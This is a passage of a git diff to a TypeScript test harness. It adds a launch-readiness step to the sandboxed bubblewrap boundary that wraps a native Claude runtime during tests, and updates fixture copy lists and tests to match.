turnProxy=!authStatus&&(direct||route.turnProxy)?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; + let readiness:ReturnType|undefined; try { + if(versionOnly){try{readiness=prepareNativeLaunchReadiness();}catch{refuse("native guard readiness setup unavailable");}} const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); const executable = realpathSync(command); @@ -732,7 +735,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), - ...tools.mounts, + ...tools.mounts,...(readiness?.mounts??[]), "--ro-bind", bridge.directory, "/tmp/native-relay", ...bridge.configurationMounts, ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), @@ -759,13 +762,14 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); - const payload=nativeSocketCommand(direct?nativeDirectTransportCommand([command,...args]):[command,...args],inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); + const readyCommand=readiness?.wrap([command,...args])??[command,...args]; + const payload=nativeSocketCommand(direct?nativeDirectTransportCommand(readyCommand):readyCommand,inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...(direct?["--direct-loopback"]:[]),...payload]:payload)); - const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); + const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();} };guardedBoundaries.set(audited.argv,boundary);return boundary; - } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } + const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; + } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } interface ScriptedAuthority { isLive():boolean; fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } @@ -1866,8 +1870,9 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); let complete=false,failed=false,auditUnavailable=false,disposing=false,timer:ReturnType|undefined;let forkOwner:{pid:number;start:string}|undefined; const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; + let launchReady:ReturnType|undefined; let outerAudit:ReturnType|undefined,sharedAudit:ReturnType; - const cleanup=()=>{clearInterval(timer);outerAudit?.close();sharedAudit?.dispose();rmSync(directory,{recursive:true,force:true});}; + const cleanup=()=>{clearInterval(timer);launchReady?.dispose();outerAudit?.close();sharedAudit?.dispose();rmSync(directory,{recursive:true,force:true});}; try{ const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); @@ -1875,6 +1880,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; const install=(payload:readonly string[])=>[shared.installer,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options),productUnshare=unknownProductUnshare(argv,options); + if(options.detached&&at<0&&!productUnshare){try{launchReady=prepareNativeLaunchReadiness();}catch{refuse("restriction cannot be enforced");}mounts.push(...launchReady.mounts);} const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); @@ -1914,7 +1920,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon statusIdentity={source:source!,dev:fifo!.dev,ino:fifo!.ino}; argv[2]=argv[2]!.slice(prefix.length); } - argv=[shared.supervisor,"supervise",log,"--",bwrap,"--unshare-user","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--json-status-fd","200","--die-with-parent","--cap-drop","ALL","--",...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"payload","201",...argv]; + argv=[shared.supervisor,"supervise",log,"--",bwrap,"--unshare-user","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--json-status-fd","200","--die-with-parent","--cap-drop","ALL","--",...tracePrefix.map((word,index)=>index===tracePrefix.indexOf("-o")+1?"/proc/self/fd/202":word),shared.supervisor,"payload","201",...(launchReady?.wrap(argv)??argv)]; if(fifo)argv=["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"',"brain-test-status-carrier",source!,...argv]; } const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; @@ -1953,7 +1959,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid);}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index acc3992676..9b2975dffe 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 2e2b7175eb..74cea51a8b 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index 50dd56ee09..21bd57d74a 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 7351c851e9..683eaf8cce 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts index 2a0040b8cb..4f206d2def 100644 --- a/tests/native-guard-copy-closure.test.ts +++ b/tests/native-guard-copy-closure.test.ts @@ -15,7 +15,7 @@ test("every copied offline guard includes its transitive relative import closure }); test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ - const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; + const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-launch-ready.ts","test-deadlines.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; const text=`const files=${JSON.stringify(files)};for(const file of files)copyFileSync(file,file);`; const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); @@ -29,6 +29,6 @@ test("frozen JavaScript source plans participate in guard closure validation",() test("direct copies cannot concatenate module filenames into one destination",()=>{ - const text='copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-runtime-pin.ts"));'; + const text='copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-runtime-pin.ts"));copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-launch-ready.ts"));copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/test-deadlines.ts"));'; expect(()=>guardCopyLists("malformed-copy.ts",text),"ONE_SCRIPT_PATH_PER_COPY_DESTINATION").toThrow("Guard copy destination concatenates script filenames"); }); diff --git a/tests/native-launch-ready.test.ts b/tests/native-launch-ready.test.ts new file mode 100644 index 0000000000..18b579668a --- /dev/null +++ b/tests/native-launch-ready.test.ts @@ -0,0 +1,46 @@ +import {expect,test} from "bun:test"; +import {spawn} from "node:child_process"; +import {join} from "node:path"; +import {existsSync,writeFileSync,unlinkSync} from "node:fs"; +import {prepareNativeLaunchReadiness} from "../scripts/native-launch-ready"; +import {VERSION_PROBE_TIMEOUT_MS} from "../packages/ui-sdk/src/server/version-probe"; +import {watchdogMs} from "../scripts/test-deadlines"; + +test("real guard setup longer than the product probe deadline finishes before its clock starts",async()=>{ + const ready=prepareNativeLaunchReadiness(); + // No native runtime: the real helper gates a harmless Python descriptor probe. + const payload=['/usr/bin/python3','-I','-S','-c','import os\nassert not any("odysseus-native-ready-" in os.readlink("/proc/self/fd/"+fd) for fd in os.listdir("/proc/self/fd") if os.path.exists("/proc/self/fd/"+fd)),"READINESS_FDS_MUST_NOT_REACH_PAYLOAD"\nprint("PAYLOAD_AFTER_GUARD_SETUP")']; + const argv=ready.wrap(payload).map(word=>word.replace('/run/brain-test-native-ready',ready.directory)); + const started=performance.now(),child=spawn('/usr/bin/python3',['-I','-S','-c','import os,sys,time\ntime.sleep(float(sys.argv[1]))\nos.execv(sys.argv[2],sys.argv[2:])',String(VERSION_PROBE_TIMEOUT_MS/1000+0.1),...argv],{stdio:['ignore','pipe','pipe']}); + let out='',err='';child.stdout.on('data',part=>{out+=part;});child.stderr.on('data',part=>{err+=part;}); + const exited=new Promise(resolve=>child.once('exit',resolve)),closed=new Promise(resolve=>child.once('close',()=>resolve())); + try{ + ready.afterSpawn(child.pid!); + const probeStarted=performance.now();expect(probeStarted-started,"SLOW_GUARD_SETUP_REALLY_RAN").toBeGreaterThanOrEqual(VERSION_PROBE_TIMEOUT_MS); + let timer:ReturnType|undefined; + const code=await Promise.race([exited,new Promise(resolve=>{timer=setTimeout(()=>resolve(124),VERSION_PROBE_TIMEOUT_MS);})]);clearTimeout(timer); + expect(code,"PRODUCT_FIVE_SECOND_WINDOW_EXCLUDES_GUARD_SETUP "+err).toBe(0); + // Exit and pipe EOF are independent, just as in the real product probe. + await closed; + expect(out).toBe('PAYLOAD_AFTER_GUARD_SETUP\n');expect(existsSync(ready.directory),"READINESS_CHANNEL_IS_REMOVED").toBe(false); + }finally{child.kill('SIGKILL');ready.dispose();} +},watchdogMs(30000)); + +for(const changed of [false,true])test(`an unavailable or replaced readiness channel refuses before releasing payload: changed=${changed}`,async()=>{ + const ready=prepareNativeLaunchReadiness(30),child=spawn('/usr/bin/sleep',['30'],{stdio:'ignore'}); + const exited=new Promise(resolve=>child.once('exit',()=>resolve())); + try{ + if(changed){unlinkSync(join(ready.directory,'ready'));writeFileSync(join(ready.directory,'ready'),'replacement');} + expect(()=>ready.afterSpawn(child.pid!),"UNENFORCEABLE_SETUP_NEVER_RELEASES_PAYLOAD").toThrow(changed?'channel changed':'did not become ready'); + await exited;expect(existsSync(ready.directory),"FAILED_SETUP_CHANNEL_IS_REMOVED").toBe(false); + }finally{child.kill('SIGKILL');ready.dispose();} +}); + +test("the original product deadline still rejects a payload that is slow after readiness",async()=>{ + const ready=prepareNativeLaunchReadiness(); + const argv=ready.wrap(["/usr/bin/python3","-I","-S","-c","import time;time.sleep(30)"]).map(word=>word.replace("/run/brain-test-native-ready",ready.directory)); + const child=spawn(argv[0]!,argv.slice(1),{stdio:"ignore"}),exited=new Promise(resolve=>child.once("exit",resolve)); + let timer:ReturnType|undefined; + try{ready.afterSpawn(child.pid!);const result=await Promise.race([exited,new Promise(resolve=>{timer=setTimeout(()=>resolve(124),VERSION_PROBE_TIMEOUT_MS);})]);expect(result,"SLOW_PAYLOAD_STILL_HITS_PRODUCT_DEADLINE").toBe(124);} + finally{clearTimeout(timer);child.kill("SIGKILL");await exited;ready.dispose();} +},watchdogMs(30000)); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 7a2ceb8e79..0ee73247b1 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -574,7 +574,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-launch-ready.ts"),join(scratch,"scripts/native-launch-ready.ts"));copyFileSync(join(ROOT,"scripts/test-deadlines.ts"),join(scratch,"scripts/test-deadlines.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 9f7328c716..627d90c671 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -47,7 +47,7 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-launch-ready.ts"),join(root,"scripts/native-launch-ready.ts"));copyFileSync(join(import.meta.dir,"../scripts/test-deadlines.ts"),join(root,"scripts/test-deadlines.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); diff --git a/tests/native-runtime-pin.test.ts b/tests/native-runtime-pin.test.ts index fe1108598e..1a2d56ac2c 100644 --- a/tests/native-runtime-pin.test.ts +++ b/tests/native-runtime-pin.test.ts @@ -1,4 +1,5 @@ -import {expect,test} from "bun:test"; +import * as fs from "node:fs"; +import {expect,spyOn,test} from "bun:test"; import {copyFileSync,fstatSync,mkdtempSync,readFileSync,renameSync,rmSync,statSync,writeFileSync} from "node:fs"; import {join} from "node:path"; import {pinNativeWorkerExecutable} from "../scripts/native-runtime-pin"; @@ -49,3 +50,13 @@ test("pinned executable transfer refuses changed bytes with the same inode and s const f=fixture(),pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{}); try{const bytes=readFileSync(f.selected);bytes[bytes.length-1]^=1;writeFileSync(f.selected,bytes);expect(()=>pin.beforeLaunch(),"CHANGED_BYTES_REFUSE").toThrow("pin changed");}finally{pin.dispose();f.close();} }); + +test("an admitted executable is hashed once while launch checks retain its full metadata stamp",()=>{ + const f=fixture(),expected=statSync(f.selected),read=fs.readSync;let bytes=0; + const observed=spyOn(fs,"readSync").mockImplementation(((fd:number,...args:unknown[])=>{ + const count=Reflect.apply(read,fs,[fd,...args]);const now=fstatSync(fd);if(now.dev===expected.dev&&now.ino===expected.ino)bytes+=count;return count; + }) as typeof fs.readSync); + let pin:ReturnType|undefined; + try{pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{});pin.beforeLaunch();pin.beforeLaunch();expect(bytes,"HASH_SELECTED_EXECUTABLE_BYTES_ONCE").toBe(expected.size);} + finally{observed.mockRestore();pin?.dispose();f.close();} +}); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index 545207f93e..f14ea5ba08 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -1,6 +1,6 @@ /** Keyless tripwire plans never execute an installed native runtime, even in mutations. */ import {expect,test} from "bun:test"; -import {join} from "node:path"; +import {join,dirname} from "node:path"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; import {watchdogMs} from "../scripts/test-deadlines"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); @@ -221,13 +221,13 @@ test("a refused process releases tripwire evidence before the refusal exit liste (await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))})).installNetworkGuard(); const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; true'],{env:process.env}); const directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),shared=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+$/.test(path)); - if(!directory||!shared)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");console.log(JSON.stringify({directory,shared})); + if(!directory||!shared)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");const policy=guard.compileSocketPolicy();console.log(JSON.stringify({directory,shared,policy})); try{guard.refuseNativeClaude(target);}catch{}fs.rmSync(root,{recursive:true,force:true});process.exit(0);`; const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"CAUGHT_REFUSAL_STILL_FAILS_PROCESS "+err).not.toBe(0); const result=JSON.parse(out),fs=await import("node:fs"); - 